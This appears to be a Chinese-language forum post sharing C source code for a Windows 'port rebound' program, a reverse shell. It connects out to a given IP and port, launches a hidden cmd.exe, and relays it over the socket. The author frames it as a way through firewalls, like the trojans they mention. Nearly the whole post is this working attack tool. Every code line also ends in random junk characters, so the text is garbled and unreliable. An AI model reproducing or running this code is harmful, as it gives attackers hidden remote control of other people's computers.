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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^`G`phd$  
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/* ============================== VMCLHpSfW  
Rebound port in Windows NT ({NAMc*  
By wind,2006/7 k iRa+w:  
===============================*/ j S]><rm  
#include =IUUeFv +r  
#include _>v<(7  
fgBM_c&9T  
#pragma comment(lib,"wsock32.lib") c7M%xGrP  
!w H'b  
void OutputShell(); J]q%gcM  
SOCKET sClient; 7{xh8#m  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;>AL`M+  
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void main(int argc,char **argv) 0 s 70r  
{ 2hee./F`  
WSADATA stWsaData; wN2QK6Oc  
int nRet; Ton94:9bZ  
SOCKADDR_IN stSaiClient,stSaiServer; 3;8!rNN  
ZvUC I8  
if(argc != 3) #rY sj-2  
{ HU9Sl*/  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4[BG#  
return; F*.g;So  
} gl]E_%tH  
|=EZ1<KzD  
WSAStartup(MAKEWORD(2,2),&stWsaData); {O+Kw<d  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m~dC3}e8/?  
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stSaiClient.sin_family = AF_INET; +n7?S~R$  
stSaiClient.sin_port = htons(0); l27\diKPJ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TuW/N L|  
.S%0   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JkGnKm9G  
{ %%Qo2^-  
printf("Bind Socket Failed!\n"); rY p3(k3  
return; }=v)Js  
} wQ%mN[  
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stSaiServer.sin_family = AF_INET; doB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4&HXkRs:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b9"jtRTdz  
m~>Y{F2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3 E3qd'  
{ l9Q(xuhv  
printf("Connect Error!"); j+^oz'q  
return; N |1>ooU[  
} $ -c!W!H  
OutputShell(); n=,\;3Y=  
} ;3 F"TH  
>+mD$:L  
void OutputShell() FVKW9"AyW  
{ 8&Myva  
char szBuff[1024]; -kS~xVS|  
SECURITY_ATTRIBUTES stSecurityAttributes; 9m-)Xdoy  
OSVERSIONINFO stOsversionInfo; w ~ dk#=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .)+h H y  
STARTUPINFO stStartupInfo; ZlHDi!T  
char *szShell; *-12VIG'H  
PROCESS_INFORMATION stProcessInformation; 4:7V./" 9  
unsigned long lBytesRead; !bC+TYsU  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5'Q|EIL  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1RKW2RCaW_  
stSecurityAttributes.lpSecurityDescriptor = 0; 720)VzT  
stSecurityAttributes.bInheritHandle = TRUE; Pub0IIs  
87WBM;$&s  
m{7^EF  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); = 0- $W5E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U;n*j3wT  
r|*&GHo L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S2>c#BQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5VO;s1  
stStartupInfo.wShowWindow = SW_HIDE; .0G6flD   
stStartupInfo.hStdInput = hReadPipe; fgj^bcp-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '<R>E:5  
{} Bf   
GetVersionEx(&stOsversionInfo); uHIiH@ S  
KIeT!kmDl  
switch(stOsversionInfo.dwPlatformId) YUf1N?z  
{ b7/AnSR~Jt  
case 1: {ls+d x/  
szShell = "command.com"; {}o>{&X  
break; "Pl9nE  
default: >3gi yeJ  
szShell = "cmd.exe"; `funE:>,  
break; `]v[5E  
} )>7%pz  
5[{*{^F4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  h C=:q  
1shBY@mlq  
send(sClient,szMsg,77,0); WU4UZpz  
while(1) \ j.x0/;  
{ zKFp5H1!%+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eh*6cQ.0  
if(lBytesRead) kGkA:g:  
{ Y:ldR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rtQHWRUn  
send(sClient,szBuff,lBytesRead,0); a{[+<8=@1  
} .P$IJUYO  
else =V97;kq+v  
{ dJ:MjQG`W  
lBytesRead=recv(sClient,szBuff,1024,0); WhBpv(q}.  
if(lBytesRead<=0) break; ^2o dr \  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hSGb-$~F  
} Og%U  
} fn CItK~y  
 ySbqnw'  
return; W2;N<[wa<u  
}
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